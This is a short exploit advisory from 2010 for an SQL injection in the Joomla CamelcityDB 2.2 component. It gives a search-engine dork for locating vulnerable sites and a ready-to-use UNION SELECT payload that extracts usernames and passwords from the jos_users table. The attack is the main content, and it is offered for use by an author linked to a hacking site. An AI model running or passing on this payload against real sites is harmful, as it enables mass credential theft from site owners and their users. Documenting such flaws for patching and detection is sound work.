============================================================== Joomla Component (com_camelcitydb2) SQL Injection Vulnerability ============================================================== ########################### Title : Joomla Component (com_camelcitydb2) SQL Injection Vulnerability Script : Joomla CamelcityDB 2.2 Date : 02/08/2010 Author : Amine_92 Tested : All version Home : http://vbhacker.net Dork : inurl:"option=com_camelcitydb2" contact : amine92_16@hotmail.fr ########################### [ Vulnerable File ] [path]/index.php?option=com_camelcitydb2&view=all&Itemid=15 [SQL]: /index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users-- ############################################################## Thank's to : All Hacker Mu$lim & Poeple of Gaza